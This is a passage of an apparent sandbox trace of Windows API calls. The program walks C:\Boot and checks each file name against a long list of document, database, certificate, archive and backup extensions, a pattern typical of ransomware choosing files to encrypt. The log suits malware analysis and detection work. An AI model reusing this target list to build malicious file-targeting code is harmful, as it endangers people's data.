	[0167.126] lstrlenW (lpString=".mde") returned 4
	[0167.126] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.126] lstrlenW (lpString=".mdf") returned 4
	[0167.126] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.126] lstrlenW (lpString=".mdw") returned 4
	[0167.126] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.126] lstrlenW (lpString=".mef") returned 4
	[0167.126] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0167.126] lstrlenW (lpString=".mft") returned 4
	[0167.126] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.126] lstrlenW (lpString=".mfw") returned 4
	[0167.126] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.126] lstrlenW (lpString=".mht") returned 4
	[0167.126] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.126] lstrlenW (lpString=".mhtml") returned 6
	[0167.126] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0167.126] lstrlenW (lpString=".mka") returned 4
	[0167.126] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.126] lstrlenW (lpString=".mkidx") returned 6
	[0167.126] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0167.126] lstrlenW (lpString=".mkv") returned 4
	[0167.126] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.126] lstrlenW (lpString=".mos") returned 4
	[0167.127] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.127] lstrlenW (lpString=".mov") returned 4
	[0167.127] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.127] lstrlenW (lpString=".mp3") returned 4
	[0167.127] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.127] lstrlenW (lpString=".mp4") returned 4
	[0167.127] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.127] lstrlenW (lpString=".mpeg") returned 5
	[0167.127] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0167.127] lstrlenW (lpString=".mpg") returned 4
	[0167.127] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.127] lstrlenW (lpString=".mpv") returned 4
	[0167.127] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.127] lstrlenW (lpString=".mrw") returned 4
	[0167.127] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.127] lstrlenW (lpString=".msg") returned 4
	[0167.127] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.127] lstrlenW (lpString=".mxl") returned 4
	[0167.127] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.127] lstrlenW (lpString=".myd") returned 4
	[0167.127] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.127] lstrlenW (lpString=".myi") returned 4
	[0167.127] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.127] lstrlenW (lpString=".nef") returned 4
	[0167.127] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.127] lstrlenW (lpString=".nrw") returned 4
	[0167.127] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.127] lstrlenW (lpString=".obj") returned 4
	[0167.127] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.127] lstrlenW (lpString=".odb") returned 4
	[0167.128] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.128] lstrlenW (lpString=".odc") returned 4
	[0167.128] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.128] lstrlenW (lpString=".odm") returned 4
	[0167.128] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.128] lstrlenW (lpString=".odp") returned 4
	[0167.128] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.128] lstrlenW (lpString=".ods") returned 4
	[0167.128] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.128] lstrlenW (lpString=".oft") returned 4
	[0167.128] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.128] lstrlenW (lpString=".one") returned 4
	[0167.128] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.128] lstrlenW (lpString=".onepkg") returned 7
	[0167.128] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0167.128] lstrlenW (lpString=".onetoc2") returned 8
	[0167.128] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0167.128] lstrlenW (lpString=".opt") returned 4
	[0167.128] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.128] lstrlenW (lpString=".oqy") returned 4
	[0167.128] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.128] lstrlenW (lpString=".orf") returned 4
	[0167.128] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.128] lstrlenW (lpString=".p12") returned 4
	[0167.128] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.128] lstrlenW (lpString=".p7b") returned 4
	[0167.128] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".p7c") returned 4
	[0167.129] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pam") returned 4
	[0167.129] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pbm") returned 4
	[0167.129] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pct") returned 4
	[0167.129] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pcx") returned 4
	[0167.129] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pdd") returned 4
	[0167.129] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pdf") returned 4
	[0167.129] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pdp") returned 4
	[0167.129] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pef") returned 4
	[0167.129] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pem") returned 4
	[0167.129] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pff") returned 4
	[0167.129] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pfm") returned 4
	[0167.129] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pfx") returned 4
	[0167.129] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".pgm") returned 4
	[0167.129] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".php") returned 4
	[0167.129] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.129] lstrlenW (lpString=".php3") returned 5
	[0167.130] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0167.130] lstrlenW (lpString=".php4") returned 5
	[0167.130] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0167.130] lstrlenW (lpString=".php5") returned 5
	[0167.130] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0167.130] lstrlenW (lpString=".phtml") returned 6
	[0167.130] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0167.130] lstrlenW (lpString=".pict") returned 5
	[0167.130] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0167.130] lstrlenW (lpString=".pl") returned 3
	[0167.130] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.130] lstrlenW (lpString=".pls") returned 4
	[0167.130] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.130] lstrlenW (lpString=".pm") returned 3
	[0167.130] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.130] lstrlenW (lpString=".png") returned 4
	[0167.130] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.130] lstrlenW (lpString=".pnm") returned 4
	[0167.130] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.130] lstrlenW (lpString=".pot") returned 4
	[0167.130] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.130] lstrlenW (lpString=".potm") returned 5
	[0167.130] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0167.130] lstrlenW (lpString=".potx") returned 5
	[0167.130] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0167.130] lstrlenW (lpString=".ppa") returned 4
	[0167.130] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.130] lstrlenW (lpString=".ppam") returned 5
	[0167.130] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0167.130] lstrlenW (lpString=".ppm") returned 4
	[0167.130] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.130] lstrlenW (lpString=".pps") returned 4
	[0167.131] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.131] lstrlenW (lpString=".ppsm") returned 5
	[0167.131] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0167.131] lstrlenW (lpString=".ppt") returned 4
	[0167.131] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.131] lstrlenW (lpString=".pptm") returned 5
	[0167.131] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0167.131] lstrlenW (lpString=".pptx") returned 5
	[0167.131] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0167.131] lstrlenW (lpString=".prn") returned 4
	[0167.131] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0167.131] lstrlenW (lpString=".ps") returned 3
	[0167.131] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.131] lstrlenW (lpString=".psb") returned 4
	[0167.131] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.131] lstrlenW (lpString=".psd") returned 4
	[0167.131] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.131] lstrlenW (lpString=".pst") returned 4
	[0167.131] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.131] lstrlenW (lpString=".ptx") returned 4
	[0167.131] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.131] lstrlenW (lpString=".pub") returned 4
	[0167.131] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.131] lstrlenW (lpString=".pwm") returned 4
	[0167.131] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.131] lstrlenW (lpString=".pxr") returned 4
	[0167.131] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.131] lstrlenW (lpString=".py") returned 3
	[0167.131] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.131] lstrlenW (lpString=".qt") returned 3
	[0167.132] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.132] lstrlenW (lpString=".r3d") returned 4
	[0167.132] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.132] lstrlenW (lpString=".raf") returned 4
	[0167.132] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0167.132] lstrlenW (lpString=".rar") returned 4
	[0167.132] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.132] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.132] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.132] FindClose (in: hFindFile=0x6ac058 | out: hFindFile=0x6ac058) returned 1
	[0167.132] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0167.132] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0167.132] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0167.132] lstrlenW (lpString="C:\\Boot\\es-ES") returned 13
	[0167.132] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6abe98
	[0167.133] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.133] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.133] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.133] lstrlenW (lpString=".1cd") returned 4
	[0167.133] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.133] lstrlenW (lpString=".3ds") returned 4
	[0167.133] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.133] lstrlenW (lpString=".3fr") returned 4
	[0167.133] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.133] lstrlenW (lpString=".3g2") returned 4
	[0167.133] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.133] lstrlenW (lpString=".3gp") returned 4
	[0167.133] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.133] lstrlenW (lpString=".7z") returned 3
	[0167.133] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.133] lstrlenW (lpString=".accda") returned 6
	[0167.133] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0167.133] lstrlenW (lpString=".accdb") returned 6
	[0167.133] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0167.133] lstrlenW (lpString=".accdc") returned 6
	[0167.133] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0167.133] lstrlenW (lpString=".accde") returned 6
	[0167.133] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0167.133] lstrlenW (lpString=".accdt") returned 6
	[0167.133] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0167.133] lstrlenW (lpString=".accdw") returned 6
	[0167.134] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0167.134] lstrlenW (lpString=".adb") returned 4
	[0167.134] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.134] lstrlenW (lpString=".adp") returned 4
	[0167.134] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.134] lstrlenW (lpString=".ai") returned 3
	[0167.134] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.134] lstrlenW (lpString=".ai3") returned 4
	[0167.134] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.134] lstrlenW (lpString=".ai4") returned 4
	[0167.134] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.134] lstrlenW (lpString=".ai5") returned 4
	[0167.134] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.134] lstrlenW (lpString=".ai6") returned 4
	[0167.134] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.134] lstrlenW (lpString=".ai7") returned 4
	[0167.134] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.134] lstrlenW (lpString=".ai8") returned 4
	[0167.134] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.134] lstrlenW (lpString=".anim") returned 5
	[0167.134] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0167.134] lstrlenW (lpString=".arw") returned 4
	[0167.134] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.134] lstrlenW (lpString=".as") returned 3
	[0167.134] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.134] lstrlenW (lpString=".asa") returned 4
	[0167.134] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.134] lstrlenW (lpString=".asc") returned 4
	[0167.134] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.134] lstrlenW (lpString=".ascx") returned 5
	[0167.134] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0167.134] lstrlenW (lpString=".asm") returned 4
	[0167.135] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.135] lstrlenW (lpString=".asmx") returned 5
	[0167.135] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0167.135] lstrlenW (lpString=".asp") returned 4
	[0167.135] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.135] lstrlenW (lpString=".aspx") returned 5
	[0167.135] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0167.135] lstrlenW (lpString=".asr") returned 4
	[0167.135] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.135] lstrlenW (lpString=".asx") returned 4
	[0167.135] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.135] lstrlenW (lpString=".avi") returned 4
	[0167.135] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.135] lstrlenW (lpString=".avs") returned 4
	[0167.135] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0167.135] lstrlenW (lpString=".backup") returned 7
	[0167.135] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0167.135] lstrlenW (lpString=".bak") returned 4
	[0167.135] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0167.135] lstrlenW (lpString=".bay") returned 4
	[0167.135] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0167.135] lstrlenW (lpString=".bd") returned 3
	[0167.135] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0167.135] lstrlenW (lpString=".bin") returned 4
	[0167.135] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0167.135] lstrlenW (lpString=".bmp") returned 4
	[0167.135] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0167.136] lstrlenW (lpString=".bz2") returned 4
	[0167.136] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.136] lstrlenW (lpString=".c") returned 2
	[0167.136] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.136] lstrlenW (lpString=".cdr") returned 4
	[0167.136] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.136] lstrlenW (lpString=".cer") returned 4
	[0167.136] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.136] lstrlenW (lpString=".cf") returned 3
	[0167.136] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0167.136] lstrlenW (lpString=".cfc") returned 4
	[0167.136] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.136] lstrlenW (lpString=".cfm") returned 4
	[0167.136] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.136] lstrlenW (lpString=".cfml") returned 5
	[0167.136] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0167.136] lstrlenW (lpString=".cfu") returned 4
	[0167.136] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.136] lstrlenW (lpString=".chm") returned 4
	[0167.136] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.136] lstrlenW (lpString=".cin") returned 4
	[0167.136] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.136] lstrlenW (lpString=".class") returned 6
	[0167.136] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0167.136] lstrlenW (lpString=".clx") returned 4
	[0167.136] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.136] lstrlenW (lpString=".config") returned 7
	[0167.136] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0167.136] lstrlenW (lpString=".cpp") returned 4
	[0167.136] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.137] lstrlenW (lpString=".cr2") returned 4
	[0167.137] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.137] lstrlenW (lpString=".crt") returned 4
	[0167.137] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.137] lstrlenW (lpString=".crw") returned 4
	[0167.137] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.137] lstrlenW (lpString=".cs") returned 3
	[0167.143] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.143] lstrlenW (lpString=".css") returned 4
	[0167.143] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.143] lstrlenW (lpString=".csv") returned 4
	[0167.143] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".cub") returned 4
	[0167.144] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".dae") returned 4
	[0167.144] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".dat") returned 4
	[0167.144] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".db") returned 3
	[0167.144] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.144] lstrlenW (lpString=".dbf") returned 4
	[0167.144] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".dbx") returned 4
	[0167.144] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".dc3") returned 4
	[0167.144] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".dcm") returned 4
	[0167.144] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".dcr") returned 4
	[0167.144] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".der") returned 4
	[0167.144] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".dib") returned 4
	[0167.144] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".dic") returned 4
	[0167.144] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".dif") returned 4
	[0167.144] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.144] lstrlenW (lpString=".divx") returned 5
	[0167.144] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0167.144] lstrlenW (lpString=".djvu") returned 5
	[0167.144] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0167.145] lstrlenW (lpString=".dng") returned 4
	[0167.145] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.145] lstrlenW (lpString=".doc") returned 4
	[0167.145] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.145] lstrlenW (lpString=".docm") returned 5
	[0167.145] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0167.145] lstrlenW (lpString=".docx") returned 5
	[0167.145] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.145] lstrlenW (lpString=".dot") returned 4
	[0167.145] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.145] lstrlenW (lpString=".dotm") returned 5
	[0167.145] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0167.145] lstrlenW (lpString=".dotx") returned 5
	[0167.145] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0167.145] lstrlenW (lpString=".dpx") returned 4
	[0167.145] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.145] lstrlenW (lpString=".dqy") returned 4
	[0167.145] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.145] lstrlenW (lpString=".dsn") returned 4
	[0167.145] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.145] lstrlenW (lpString=".dt") returned 3
	[0167.145] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.145] lstrlenW (lpString=".dtd") returned 4
	[0167.145] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.145] lstrlenW (lpString=".dwg") returned 4
	[0167.145] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.145] lstrlenW (lpString=".dwt") returned 4
	[0167.145] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.145] lstrlenW (lpString=".dx") returned 3
	[0167.145] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.146] lstrlenW (lpString=".dxf") returned 4
	[0167.146] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.146] lstrlenW (lpString=".edml") returned 5
	[0167.146] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0167.146] lstrlenW (lpString=".efd") returned 4
	[0167.146] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.146] lstrlenW (lpString=".elf") returned 4
	[0167.146] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.146] lstrlenW (lpString=".emf") returned 4
	[0167.146] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.146] lstrlenW (lpString=".emz") returned 4
	[0167.146] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.146] lstrlenW (lpString=".epf") returned 4
	[0167.146] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.146] lstrlenW (lpString=".eps") returned 4
	[0167.146] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.146] lstrlenW (lpString=".epsf") returned 5
	[0167.146] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0167.146] lstrlenW (lpString=".epsp") returned 5
